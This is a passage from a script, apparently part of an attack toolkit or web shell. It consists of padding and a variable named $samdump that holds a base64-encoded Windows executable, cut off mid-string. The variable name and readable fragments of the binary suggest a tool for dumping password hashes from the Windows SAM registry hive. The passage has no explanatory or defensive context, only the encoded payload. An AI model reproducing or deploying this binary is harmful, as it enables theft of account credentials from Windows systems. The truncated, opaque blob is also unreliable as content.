AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";$samdump="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yMHgEDPQi8HB6AIzwiUzMzMzM9DB4AIzyIvCwegIM8El/wD/ADPIweAIM9CLwcHoATPCJVVVVVWLdCQcM9ADwMHKHTPIwckdg3wkIAAPhDoCAADHRCQQBAAAAIs+i14EM/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBAADOvANlAAIt+CDOrANpAAIteDDPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8wegYM6gA30AAi8Ml/////MHoGIHn/AAAAIHj/AAAADOoAOBAADOvANlAAIt+EDOrANpAAIteFDPVM/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBAADOvANlAAIt+GDOrANpAAIteHDPNM/kz2cHLBIvHi+slAPwAAIHlAPwAAMHoCMHtCIuAANtAADOFANxAAIvvgeUAAPwAwe0QM4UA3UAAi+uB5QAA/ADB7RAzhQDeQACDxiCL74Hn/AAAAIHl/////MHtGDOFAN9AAIvrgeX////8geP8AAAAwe0YM4UA4EAAM4cA2UAAM4MA2kAAM9D/TCQQD4XT/f//6TMCAADHRCQQBAAAAIPGeIs+i14EM/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBAADOvANlAAIt++DOrANpAAIte/DPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8wegYM6gA30AAi8Ml/////MHo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